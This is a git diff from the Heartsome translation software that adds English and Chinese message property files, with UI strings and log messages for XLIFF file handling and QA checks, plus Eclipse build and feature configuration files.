+file.XLFHandler.filterRepeat = Internal Repetitions +file.XLFHandler.filterMatch101 = Context Match Segments +file.XLFHandler.filterMatch100 = Exact Match Segments +file.XLFHandler.filterMatchlt100 = Fuzzy Match Segments +file.XLFHandler.differTaget = Inconsistent Segments +file.XLFHandler.task1 = Opening files... +file.XLFHandler.logger1 = File {0} does not exist, it may have been renamed or deleted. +file.XLFHandler.task2 = Opening file {0}... +file.XLFHandler.msg1 = Cancel opening file +file.XLFHandler.msg2 = The selected file {0} is invalid. Please select a valid XLIFF file sample and try again. +file.XLFHandler.logger2 = [LOG] XPath \u4e0d\u6b63\u786e\uff0c\u521d\u59cb\u5316\u7ffb\u8bd1\u5355\u5143\u6570\u91cf\u5931\u8d25\u3002 +file.XLFHandler.logger3 = [LOG] \u89e3\u6790\u6587\u4ef6{0}\u51fa\u9519\u3002 +file.XLFHandler.logger4 = [LOG] VTDNav \u4e3a\u7a7a\uff0c\u6784\u5efa VTDUtils \u5b9e\u4f8b\u5931\u8d25\u3002 +file.XLFHandler.logger5 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u4f7f\u7528 XPath \u53d6\u503c\u5931\u8d25\u3002 +file.XLFHandler.logger6 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u8bbf\u95ee XML \u5931\u8d25\u3002 +file.XLFHandler.logger7 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\uff0c\u89e3\u6790 XPath \u5931\u8d25\u3002 +file.XLFHandler.logger8 = [LOG] \u6587\u4ef6\u4fdd\u5b58\u5931\u8d25 +file.XLFHandler.logger9 = [LOG] \u53c2\u6570 subXPath \u6709\u8bef\uff01Failed to locate to properties correctly by XPath. +file.XLFHandler.logger10 = [LOG] \u83b7\u53d6\u91cd\u590d\u6587\u672c\u6bb5\u5931\u8d25\u3002 +file.XLFHandler.logger11 = [LOG] \u89e3\u6790 XPath \u5931\u8d25\u3002 +file.XLFHandler.logger12 = [LOG] \u6267\u884c XPath \u5931\u8d25\u3002 +file.XLFHandler.logger13 = [LOG] \u4fee\u6539\u6587\u4ef6\u5931\u8d25\u3002 +file.XLFHandler.logger14 = [LOG] \u4e0d\u88ab\u652f\u6301\u7684\u7f16\u7801\u3002 +file.XLFHandler.msg3 = Please try again because the following error occured: +file.XLFHandler.task3 = Generate TMX files... +file.XLFHandler.task4 = Importing translated segments into translation memories... +file.XLFHandler.task5 = Canceling +file.XLFHandler.logger15 = [LOG] \u6dfb\u52a0\u6587\u672c\u6bb5\u5230\u8bb0\u5fc6\u5e93\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.logger16 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.logger17 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6 {0} \u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.msg4 = An error occured when reading the file. Please try again. +file.XLFHandler.logger18 = [LOG] \u83b7\u53d6\u6700\u7ec8\u5206\u5272\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.logger19 = [LOG] \u9501\u5b9a\u7ffb\u8bd1\u5355\u5143\u51fa\u9519 +file.XLPHandler.msg1 = Please select a project. +file.XLPHandler.msg2 = Unable to find the following project configuration file:\n{0} +file.XLPHandler.logger1 = [LOG] \u89e3\u6790\u6587\u4ef6 {0} \u51fa\u9519\u3002 + +qa.FAModel.WordsFA = Analyze Files +qa.FAModel.TranslationProgressFA = Translation Progress Analysis +qa.FAModel.EditProgressFA = Approval Progress Analysis +qa.QAConstant.startChar = Fist letter +qa.QAConstant.endChar = Last letter +qa.QAConstant.startAndEndChar = The first and last letters +qa.QAConstant.preChar = Previous character +qa.QAConstant.lastChar = Next character +qa.QAConstant.preAndLastChar = Previous and next characters +qa.QAConstant.allChar = All letters +qa.QAConstant.eq = Equal +qa.QAConstant.neq = Not Equal To +qa.QAConstant.space = Space +qa.QAConstant.comma = Comma +qa.QAConstant.upper = Upper case +qa.QAConstant.lower = Lower case +qa.QAConstant.expand = Click to expand folder +qa.QAConstant.collapse = Click to collapse folder +qa.QAXmlHandler.task1 = Opening file {0}... +qa.QAXmlHandler.logger1 = [LOG] XPath \u4e0d\u6b63\u786e\uff0c\u521d\u59cb\u5316\u7ffb\u8bd1\u5355\u5143\u6570\u91cf\u5931\u8d25\u3002 +qa.QAXmlHandler.logger2 = [LOG] \u89e3\u6790\u6587\u4ef6 {0} \u51fa\u9519\u3002 +qa.QAXmlHandler.msg1 = An error occured when reading the file. Please try again. +qa.QAXmlHandler.logger3 = [LOG] \u6587\u4ef6\u4fdd\u5b58\u5931\u8d25 +qa.QAXmlHandler.logger4 = [LOG] \u6587\u4ef6 "{0}" \u5199\u5165\u5931\u8d25 +qa.QAXmlHandler.logger5 = [LOG] \u6587\u4ef6 "{0}" \u8bfb\u5199\u5f02\u5e38 +qa.QAXmlHandler.logger6 = [LOG] \u6587\u4ef6 "{0}" \u5237\u65b0\u5f02\u5e38 +qa.QAXmlHandler.logger7 = [LOG] VTDUtils \u5b9e\u4f8b\u521b\u5efa\u5931\u8d25\uff0c\u65e0\u6cd5\u5b9a\u4f4d +qa.QAXmlHandler.logger8 = [LOG] Xpath \u9519\u8bef\uff0c\u65e0\u6cd5\u89e3\u6790\uff0c\u7ffb\u8bd1\u6587\u672c\u6bb5\u603b\u6570\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger9 = [LOG] Xpath \u9519\u8bef\uff0c\u65e0\u6cd5\u89e3\u6790\uff01 +qa.QAXmlHandler.logger10 = [LOG] Xpath \u5b9a\u4f4d\u8bed\u53e5\u9519\u8bef\uff01Unable to locate. +qa.QAXmlHandler.logger11 = [LOG] VTDUtils \u5b9e\u4f8b\u51fa\u9519\uff01 +qa.QAXmlHandler.logger12 = [LOG] \u7eaf\u6587\u672c\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger13 = [LOG] \u7ffb\u8bd1\u8282\u70b9\u6587\u672c\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger14 = [LOG] \u5b50\u8282\u70b9\u7eaf\u6587\u672c\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger15 = [LOG] \u6e90\u6587\u672c\u6bb5\u5185\u5bb9\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger16 = [LOG] \u8282\u70b9\u5185\u5bb9\u83b7\u53d6\u9519\u8bef +qa.QAXmlHandler.logger17 = [LOG] \u8282\u70b9\u5c5e\u6027\u83b7\u53d6\u9519\u8bef +qa.QAXmlHandler.logger18 = [LOG] \u7ffb\u8bd1\u8282\u70b9\u6807\u7b7e\u83b7\u53d6\u5f02\u5e38 +qa.QAXmlHandler.logger19 = [LOG] \u975e\u8bd1\u5143\u7d20\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger20 = [LOG] \u975e\u8bd1\u5143\u7d20\u6b63\u5219\u8868\u8fbe\u5f0f\u914d\u7f6e\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger21 = [LOG] VTDNav \u4e3a\u7a7a\uff0c\u6784\u5efa VTDUtils \u5b9e\u4f8b\u5931\u8d25\u3002 +qa.QAXmlHandler.logger22 = [LOG] \u7ffb\u8bd1\u5355\u5143\u9501\u5b9a\u5931\u8d25 +qa.QAXmlHandler.logger23 = [LOG] \u6587\u4ef6 {0} \u7ffb\u8bd1\u8fdb\u5ea6\u67e5\u8be2\u5931\u8d25 +qa.QAXmlHandler.logger24 = [LOG] \u6587\u4ef6 {0} \u7f16\u8f91\u8fdb\u5ea6\u67e5\u8be2\u5931\u8d25 diff --git a/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/message_zh.properties b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/message_zh.properties new file mode 100644 index 0000000..40f1b59 --- /dev/null +++ b/ts/net.heartsome.cat.ts.core/src/net/heartsome/cat/ts/core/resource/message_zh.properties @@ -0,0 +1,155 @@ +core.ValidationUtils.msg1 = \u8bf7\u8f93\u5165\u9879\u76ee\u540d\u79f0 +core.ValidationUtils.msg2 = \u9879\u76ee\u540d\u79f0\u4e0d\u80fd\u8d85\u8fc7 20 \u4e2a\u5b57 +core.ValidationUtils.msg6 = \u8bf7\u8f93\u5165\u5408\u6cd5\u7684\u7535\u5b50\u90ae\u7bb1\u5730\u5740 + +file.ProjectConfiger.logger1 = [LOG] \u4fdd\u5b58\u9879\u76ee\u914d\u7f6e\u4fe1\u606f\u5931\u8d25 +file.ProjectConfiger.logger2 = [LOG] \u83b7\u53d6\u9879\u76ee\u672f\u8bed\u5e93\u5931\u8d25 +file.ProjectConfiger.logger3 = [LOG] \u83b7\u53d6\u9879\u76ee\u8bb0\u5fc6\u5e93\u5931\u8d25 +file.ProjectConfiger.logger4 = [LOG] \u83b7\u53d6\u9879\u76ee\u9ed8\u8ba4\u8bb0\u5fc6\u5e93\u5931\u8d25 +file.ProjectConfiger.logger5 = [LOG] \u83b7\u53d6\u9879\u76ee\u53c2\u8003\u8bb0\u5fc6\u5e93\u5931\u8d25 +file.ProjectConfigerFactory.logger1 = [LOG] \u521b\u5efa\u9879\u76ee\u914d\u7f6e\u6587\u4ef6\u5931\u8d25\uff1a +file.RowIdUtil.msg1 = \u7a0b\u5e8f\u51fa\u73b0\u5185\u90e8\u9519\u8bef\uff0c\u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u7a0b\u5e8f\u3002\n\u82e5\u8be5\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u9519\u8bef\u65e5\u5fd7\u6587\u4ef6\u4f9b\u5206\u6790\u3002 +file.RowIdUtil.logger1 = [LOG] \u5f53\u524d\u7684 VTDNav \u5bf9\u8c61\u5fc5\u987b\u5148\u5b9a\u4f4d\u5230 trans-unit \u8282\u70b9\uff0c\u624d\u80fd\u6267\u884c\u6b64\u64cd\u4f5c +file.RowIdUtil.logger2 = [LOG] \u627e\u4e0d\u5230 file \u8282\u70b9\uff0c\u53ef\u80fd\u662f\u4e0d\u5408\u6cd5\u7684 Xliff \u6587\u4ef6\u6240\u81f4\uff01 +file.RowIdUtil.logger3 = [LOG] RowId: "{0}" \u683c\u5f0f\u9519\u8bef +file.TSFileHandler.logger1 = [LOG] \u4ef6\u4e0d\u5b58\u5728\u3002\u5173\u95ed\u6587\u4ef6\u5931\u8d25\u3002 +file.TSFileHandler.logger2 = [LOG] {0} \u6587\u4ef6\u5df2\u4fee\u6539\uff0c\u662f\u5426\u4fdd\u5b58\u6240\u505a\u7684\u4fee\u6539\uff1f +file.TSFileHandler.logger3 = [LOG] \u6e05\u9664 {0} \u6587\u4ef6\u7684\u4e34\u65f6\u6587\u4ef6\u5931\u8d25\uff0c\u5176\u4e34\u65f6\u6587\u4ef6\u8def\u5f84\u662f {1} +file.TSFileHandler.logger4 = [LOG] \u5173\u95ed\u591a\u4e2a\u6587\u4ef6\u5931\u8d25\u3002\u8bf7\u6307\u5b9a\u81f3\u5c11\u4e00\u4e2a\u6587\u4ef6\u3002 +file.TSFileHandler.logger5 = [LOG] \u6587\u4ef6\u4e0d\u5b58\u5728\u3002\u6253\u5f00\u6587\u4ef6\u5931\u8d25\u3002 +file.TSFileHandler.logger6 = [LOG] \u6253\u5f00 {0} \u6587\u4ef6\u65f6\u521b\u5efa\u4e34\u65f6\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger7 = [LOG] \u6253\u5f00 {0} \u6587\u4ef6\u65f6\u89e3\u7801\u51fa\u9519\u3002 +file.TSFileHandler.logger8 = [LOG] \u6253\u5f00 {0} \u6587\u4ef6\u65f6\u8bfb\u5199\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger9 = [LOG] VTDNav \u4e3a\u7a7a\uff0c\u6784\u5efa VTDUtils \u5b9e\u4f8b\u5931\u8d25\u3002 +file.TSFileHandler.logger10 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u4f7f\u7528 XPath \u53d6\u503c\u5931\u8d25\u3002 +file.TSFileHandler.logger11 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u8bbf\u95ee XML \u5931\u8d25\u3002 +file.TSFileHandler.logger12 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\uff0c\u89e3\u6790 XPath \u5931\u8d25\u3002 +file.TSFileHandler.logger13 = [LOG] \u89e3\u6790\u6587\u4ef6 {0} \u51fa\u9519\u3002 +file.TSFileHandler.logger14 = [LOG] \u6253\u5f00\u6587\u4ef6\u6210\u529f\u3002\u8017\u65f6 {} \u5206\uff0c{} \u79d2\uff0c{} \u6beb\u79d2\u3002 +file.TSFileHandler.logger15 = [LOG] \u6253\u5f00\u591a\u4e2a\u6587\u4ef6\u5931\u8d25\u3002\u8bf7\u6307\u5b9a\u81f3\u5c11\u4e00\u4e2a\u6587\u4ef6\u3002 +file.TSFileHandler.logger16 = [LOG] \u6e90\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u3002 +file.TSFileHandler.logger17 = [LOG] \u76ee\u6807\u6587\u4ef6 {0} \u4e0d\u5b58\u5728\u3002 +file.TSFileHandler.logger18 = [LOG] \u4fdd\u5b58\u6587\u4ef6 {0} \u65f6\uff0c\u8bfb\u5199\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger19 = [LOG] \u4fdd\u5b58\u6587\u4ef6 {0} \u4e3a {1} \u65f6\uff0c\u8bfb\u5199\u6587\u4ef6\u51fa\u9519\u3002 +file.TSFileHandler.logger20 = [LOG] \u4fdd\u5b58\u6587\u4ef6\u6210\u529f\u3002 +file.TSFileHandler.logger21 = [LOG] \u6587\u4ef6\u672a\u627e\u5230\uff0c\u5206\u6790\u6587\u4ef6\u5931\u8d25\u3002 +file.TSFileHandler.logger22 = [LOG] \u6587\u4ef6\u5206\u6790\u5931\u8d25\u3002{0} \u4e0d\u662f XLIFF \u6587\u4ef6\u6216\u9879\u76ee\u6587\u4ef6\u3002 +file.TSFileHandler.logger23 = [LOG] \u6587\u4ef6\u5206\u6790\u5931\u8d25\u3002\u83b7\u53d6 {0} \u6587\u4ef6\u5185\u5bb9\u51fa\u9519\u3002 +file.TSFileHandler.logger24 = [LOG] \u751f\u6210\u5206\u6790\u62a5\u544a\u51fa\u9519\u3002 +file.TSFileHandler.logger25 = [LOG] \u56e0\u4f7f\u7528\u4e0d\u652f\u6301\u7684\u5b57\u7b26\u96c6\u5bfc\u81f4\u751f\u6210\u5206\u6790\u62a5\u544a\u5931\u8d25\u3002 +file.TSFileHandler.logger26 = [LOG] \u56e0\u5b57\u7b26\u8f6c\u6362\u9519\u8bef\u5bfc\u81f4\u751f\u6210\u5206\u6790\u62a5\u544a\u5931\u8d25\u3002 +file.TSFileHandler.logger27 = [LOG] \u751f\u6210\u5206\u6790\u62a5\u544a\u5931\u8d25\u3002 +file.TSFileHandler.logger28 = [LOG] \u89e3\u6790 {0} \u6587\u4ef6\u5931\u8d25\u3002 +file.TSFileHandler.analysisStatus = \u72b6\u6001\u5206\u6790 +file.TSFileHandler.analysisTranslatorProgress = \u7ffb\u8bd1\u8fdb\u5ea6 +file.TSFileHandler.translatedSegs = \u5df2\u7ffb\u8bd1 +file.TSFileHandler.untranslatedSegs = \u672a\u7ffb\u8bd1 +file.TSFileHandler.percent1 = \u5b8c\u6210\u6bd4\u4f8b +file.TSFileHandler.total1 = \u603b\u6570 +file.TSFileHandler.translatedWords = \u5df2\u7ffb\u8bd1 +file.TSFileHandler.untranslatedWords = \u672a\u7ffb\u8bd1 +file.TSFileHandler.percent2 = \u5b8c\u6210\u6bd4\u4f8b +file.TSFileHandler.total2 = \u603b\u6570 +file.TSFileHandler.analysisEditorProgress = \u7f16\u8f91\u8fdb\u5ea6 +file.TSFileHandler.approvedSegs = \u5df2\u6279\u51c6 +file.TSFileHandler.unapprovedSegs = \u672a\u6279\u51c6 +file.TSFileHandler.percent1 = \u5b8c\u6210\u6bd4\u4f8b +file.TSFileHandler.approvedWords = \u5df2\u6279\u51c6 +file.TSFileHandler.unapprovedWords = \u672a\u6279\u51c6 +file.TSFileHandler.percent2 = \u5b8c\u6210\u6bd4\u4f8b +file.TSFileHandler.logger29 = [LOG] {0} \u6587\u4ef6\u5df2\u4fee\u6539\uff0c\u662f\u5426\u4fdd\u5b58\u4fee\u6539\u540e\u518d\u8fdb\u884c\u5206\u6790\uff1f +file.XLFHandler.filterAll = \u6240\u6709\u6587\u672c\u6bb5 +file.XLFHandler.filterLocked = \u5df2\u9501\u5b9a\u6587\u672c\u6bb5 +file.XLFHandler.filterUnlocked = \u672a\u9501\u5b9a\u6587\u672c\u6bb5 +file.XLFHandler.filterReview = \u7591\u95ee\u6587\u672c\u6bb5 +file.XLFHandler.filterSendToTM = \u4e0d\u6dfb\u52a0\u5230\u8bb0\u5fc6\u5e93\u6587\u672c\u6bb5 +file.XLFHandler.filterNote = \u5e26\u6279\u6ce8\u6587\u672c\u6bb5 +file.XLFHandler.filterNull = \u672a\u7ffb\u8bd1\u6587\u672c\u6bb5 +file.XLFHandler.filterNew = \u8349\u7a3f\u6587\u672c\u6bb5 +file.XLFHandler.filterTranslated = \u5df2\u7ffb\u8bd1\u6587\u672c\u6bb5 +file.XLFHandler.filterUntranslated = \u7ffb\u8bd1\u672a\u5b8c\u6210\u6587\u672c\u6bb5 +file.XLFHandler.filterApproved = \u5df2\u6279\u51c6\u6587\u672c\u6bb5 +file.XLFHandler.filterUnapproved = \u672a\u6279\u51c6\u6587\u672c\u6bb5 +file.XLFHandler.filterSignedOff = \u5df2\u7b7e\u53d1\u6587\u672c\u6bb5 +file.XLFHandler.filterUnsignedOff = \u672a\u7b7e\u53d1\u6587\u672c\u6bb5 +file.XLFHandler.filterRepeat = \u91cd\u590d\u6587\u672c\u6bb5 +file.XLFHandler.filterMatch101 = \u4e0a\u4e0b\u6587\u5339\u914d\u6587\u672c\u6bb5 +file.XLFHandler.filterMatch100 = \u5b8c\u5168\u5339\u914d\u6587\u672c\u6bb5 +file.XLFHandler.filterMatchlt100 = \u6a21\u7cca\u5339\u914d\u6587\u672c\u6bb5 +file.XLFHandler.differTaget = \u8bd1\u6587\u4e0d\u4e00\u81f4\u6587\u672c\u6bb5 +file.XLFHandler.task1 = \u6253\u5f00\u6587\u4ef6... +file.XLFHandler.logger1 = \u6587\u4ef6 {0} \u4e0d\u5b58\u5728\uff0c\u5b83\u53ef\u80fd\u5df2\u6539\u540d\u6216\u5df2\u5220\u9664\u3002 +file.XLFHandler.task2 = \u6b63\u5728\u6253\u5f00\u6587\u4ef6 {0} ... +file.XLFHandler.msg1 = \u5df2\u53d6\u6d88\u6253\u5f00\u6587\u4ef6\u3002 +file.XLFHandler.msg2 = \u6587\u4ef6 {0} \u4e0d\u7b26\u5408 XLIFF \u6807\u51c6\uff0c\u8bf7\u91cd\u65b0\u9009\u62e9\u5408\u6cd5\u7684 XLIFF \u6587\u4ef6\u540e\u91cd\u8bd5\u3002 +file.XLFHandler.logger2 = [LOG] XPath \u4e0d\u6b63\u786e\uff0c\u521d\u59cb\u5316\u7ffb\u8bd1\u5355\u5143\u6570\u91cf\u5931\u8d25\u3002 +file.XLFHandler.logger3 = [LOG] \u89e3\u6790\u6587\u4ef6{0}\u51fa\u9519\u3002 +file.XLFHandler.logger4 = [LOG] VTDNav \u4e3a\u7a7a\uff0c\u6784\u5efa VTDUtils \u5b9e\u4f8b\u5931\u8d25\u3002 +file.XLFHandler.logger5 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u4f7f\u7528 XPath \u53d6\u503c\u5931\u8d25\u3002 +file.XLFHandler.logger6 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\u8bbf\u95ee XML \u5931\u8d25\u3002 +file.XLFHandler.logger7 = [LOG] \u6253\u5f00\u6587\u4ef6\u65f6\uff0c\u89e3\u6790 XPath \u5931\u8d25\u3002 +file.XLFHandler.logger8 = [LOG] \u6587\u4ef6\u4fdd\u5b58\u5931\u8d25 +file.XLFHandler.logger9 = [LOG] \u53c2\u6570 subXPath \u6709\u8bef\uff01\u8981\u6c42\u4e3a\u5b9a\u4f4d\u5230\u5c5e\u6027\u7684 XPath\u3002 +file.XLFHandler.logger10 = [LOG] \u83b7\u53d6\u91cd\u590d\u6587\u672c\u6bb5\u5931\u8d25\u3002 +file.XLFHandler.logger11 = [LOG] \u89e3\u6790 XPath \u5931\u8d25\u3002 +file.XLFHandler.logger12 = [LOG] \u6267\u884c XPath \u5931\u8d25\u3002 +file.XLFHandler.logger13 = [LOG] \u4fee\u6539\u6587\u4ef6\u5931\u8d25\u3002 +file.XLFHandler.logger14 = [LOG] \u4e0d\u88ab\u652f\u6301\u7684\u7f16\u7801\u3002 +file.XLFHandler.msg3 = \u6267\u884c\u64cd\u4f5c\u65f6\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff0c\u8bf7\u91cd\u8bd5\uff1a +file.XLFHandler.task3 = \u751f\u6210 TMX \u6587\u4ef6... +file.XLFHandler.task4 = \u6b63\u5728\u5c06\u7ffb\u8bd1\u5355\u5143\u5bfc\u5165\u5230\u5e93\u4e2d... +file.XLFHandler.task5 = \u6b63\u5728\u53d6\u6d88\u6267\u884c... +file.XLFHandler.logger15 = [LOG] \u6dfb\u52a0\u6587\u672c\u6bb5\u5230\u8bb0\u5fc6\u5e93\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.logger16 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.logger17 = [LOG] \u89e3\u6790 XLIFF \u6587\u4ef6 {0} \u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.msg4 = \u8bfb\u53d6\u8be5\u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\uff1a +file.XLFHandler.logger18 = [LOG] \u83b7\u53d6\u6700\u7ec8\u5206\u5272\u4fe1\u606f\u65f6\u51fa\u73b0\u9519\u8bef +file.XLFHandler.logger19 = [LOG] \u9501\u5b9a\u7ffb\u8bd1\u5355\u5143\u51fa\u9519 +file.XLPHandler.msg1 = \u8bf7\u9009\u62e9\u9879\u76ee\u3002 +file.XLPHandler.msg2 = \u672a\u627e\u5230\u5982\u4e0b\u9879\u76ee\u914d\u7f6e\u6587\u4ef6\uff0c\u8bf7\u91cd\u8bd5\uff1a\n{0} +file.XLPHandler.logger1 = [LOG] \u89e3\u6790\u6587\u4ef6 {0} \u51fa\u9519\u3002 + +qa.FAModel.WordsFA = \u5b57\u6570\u5206\u6790 +qa.FAModel.TranslationProgressFA = \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790 +qa.FAModel.EditProgressFA = \u6279\u51c6\u8fdb\u5ea6\u5206\u6790 +qa.QAConstant.startChar = \u9996\u5b57\u6bcd +qa.QAConstant.endChar = \u672b\u5b57\u6bcd +qa.QAConstant.startAndEndChar = \u9996\u672b\u5b57\u6bcd +qa.QAConstant.preChar = \u524d\u4e00\u5b57\u7b26 +qa.QAConstant.lastChar = \u540e\u4e00\u5b57\u7b26 +qa.QAConstant.preAndLastChar = \u524d\u540e\u5b57\u7b26 +qa.QAConstant.allChar = \u6240\u6709\u5b57\u6bcd +qa.QAConstant.eq = \u7b49\u4e8e +qa.QAConstant.neq = \u4e0d\u7b49\u4e8e +qa.QAConstant.space = \u7a7a\u683c +qa.QAConstant.comma = \u9017\u53f7 +qa.QAConstant.upper = \u5927\u5199 +qa.QAConstant.lower = \u5c0f\u5199 +qa.QAConstant.expand = \u5355\u51fb\u5c55\u5f00\u8be5\u6587\u4ef6\u5939 +qa.QAConstant.collapse = \u5355\u51fb\u6536\u8d77\u8be5\u6587\u4ef6\u5939 +qa.QAXmlHandler.task1 = \u6b63\u5728\u6253\u5f00\u6587\u4ef6 {0} ... +qa.QAXmlHandler.logger1 = [LOG] XPath \u4e0d\u6b63\u786e\uff0c\u521d\u59cb\u5316\u7ffb\u8bd1\u5355\u5143\u6570\u91cf\u5931\u8d25\u3002 +qa.QAXmlHandler.logger2 = [LOG] \u89e3\u6790\u6587\u4ef6 {0} \u51fa\u9519\u3002 +qa.QAXmlHandler.msg1 = \u8bfb\u53d6\u8be5\u6587\u4ef6\u65f6\u51fa\u9519\uff0c\u8bf7\u91cd\u8bd5\uff1a +qa.QAXmlHandler.logger3 = [LOG] \u6587\u4ef6\u4fdd\u5b58\u5931\u8d25 +qa.QAXmlHandler.logger4 = [LOG] \u6587\u4ef6 "{0}" \u5199\u5165\u5931\u8d25 +qa.QAXmlHandler.logger5 = [LOG] \u6587\u4ef6 "{0}" \u8bfb\u5199\u5f02\u5e38 +qa.QAXmlHandler.logger6 = [LOG] \u6587\u4ef6 "{0}" \u5237\u65b0\u5f02\u5e38 +qa.QAXmlHandler.logger7 = [LOG] VTDUtils \u5b9e\u4f8b\u521b\u5efa\u5931\u8d25\uff0c\u65e0\u6cd5\u5b9a\u4f4d +qa.QAXmlHandler.logger8 = [LOG] Xpath \u9519\u8bef\uff0c\u65e0\u6cd5\u89e3\u6790\uff0c\u7ffb\u8bd1\u6587\u672c\u6bb5\u603b\u6570\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger9 = [LOG] Xpath \u9519\u8bef\uff0c\u65e0\u6cd5\u89e3\u6790\uff01 +qa.QAXmlHandler.logger10 = [LOG] Xpath \u5b9a\u4f4d\u8bed\u53e5\u9519\u8bef\uff01\u65e0\u6cd5\u5b9a\u4f4d\u3002 +qa.QAXmlHandler.logger11 = [LOG] VTDUtils \u5b9e\u4f8b\u51fa\u9519\uff01 +qa.QAXmlHandler.logger12 = [LOG] \u7eaf\u6587\u672c\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger13 = [LOG] \u7ffb\u8bd1\u8282\u70b9\u6587\u672c\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger14 = [LOG] \u5b50\u8282\u70b9\u7eaf\u6587\u672c\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger15 = [LOG] \u6e90\u6587\u672c\u6bb5\u5185\u5bb9\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger16 = [LOG] \u8282\u70b9\u5185\u5bb9\u83b7\u53d6\u9519\u8bef +qa.QAXmlHandler.logger17 = [LOG] \u8282\u70b9\u5c5e\u6027\u83b7\u53d6\u9519\u8bef +qa.QAXmlHandler.logger18 = [LOG] \u7ffb\u8bd1\u8282\u70b9\u6807\u7b7e\u83b7\u53d6\u5f02\u5e38 +qa.QAXmlHandler.logger19 = [LOG] \u975e\u8bd1\u5143\u7d20\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger20 = [LOG] \u975e\u8bd1\u5143\u7d20\u6b63\u5219\u8868\u8fbe\u5f0f\u914d\u7f6e\u83b7\u53d6\u5931\u8d25\uff01 +qa.QAXmlHandler.logger21 = [LOG] VTDNav \u4e3a\u7a7a\uff0c\u6784\u5efa VTDUtils \u5b9e\u4f8b\u5931\u8d25\u3002 +qa.QAXmlHandler.logger22 = [LOG] \u7ffb\u8bd1\u5355\u5143\u9501\u5b9a\u5931\u8d25 +qa.QAXmlHandler.logger23 = [LOG] \u6587\u4ef6 {0} \u7ffb\u8bd1\u8fdb\u5ea6\u67e5\u8be2\u5931\u8d25 +qa.QAXmlHandler.logger24 = [LOG] \u6587\u4ef6 {0} \u7f16\u8f91\u8fdb\u5ea6\u67e5\u8be2\u5931\u8d25 diff --git a/ts/net.heartsome.cat.ts.edition_lite.feature/.project b/ts/net.heartsome.cat.ts.edition_lite.feature/.project new file mode 100644 index 0000000..1361478 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_lite.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.ts.edition_lite.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/ts/net.heartsome.cat.ts.edition_lite.feature/LiteEdition.product b/ts/net.heartsome.cat.ts.edition_lite.feature/LiteEdition.product new file mode 100644 index 0000000..0f79ecc --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_lite.feature/LiteEdition.product @@ -0,0 +1,71 @@ + + + + + + + + + %aboutL + + + + + + + + -Dfile.encoding=UTF-8 +-Xms512m +-Xmx512m +-XX:PermSize=96m +-XX:MaxPermSize=96m +-Xmn256m +-Dversion=8.2.1 +-Ddate=20130502 + -XstartOnFirstThread -Dorg.eclipse.swt.internal.carbon.smallFonts + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.edition_lite.feature/build.properties b/ts/net.heartsome.cat.ts.edition_lite.feature/build.properties new file mode 100644 index 0000000..e8ea23e --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_lite.feature/build.properties @@ -0,0 +1,4 @@ +bin.includes = feature.xml,\ + icons/,\ + plugin_customization.ini +javacDefaultEncoding.. = UTF-8 diff --git a/ts/net.heartsome.cat.ts.edition_lite.feature/feature.xml b/ts/net.heartsome.cat.ts.edition_lite.feature/feature.xml new file mode 100644 index 0000000..43f6acd --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_lite.feature/feature.xml @@ -0,0 +1,163 @@ + + + + + [-en-] +--------------------------------- +New features: +1. New editing, deleting and copying function for TM match. +2. New offline activation function, licenses can be activated without network connection. +--------------------------------- +Improvements: 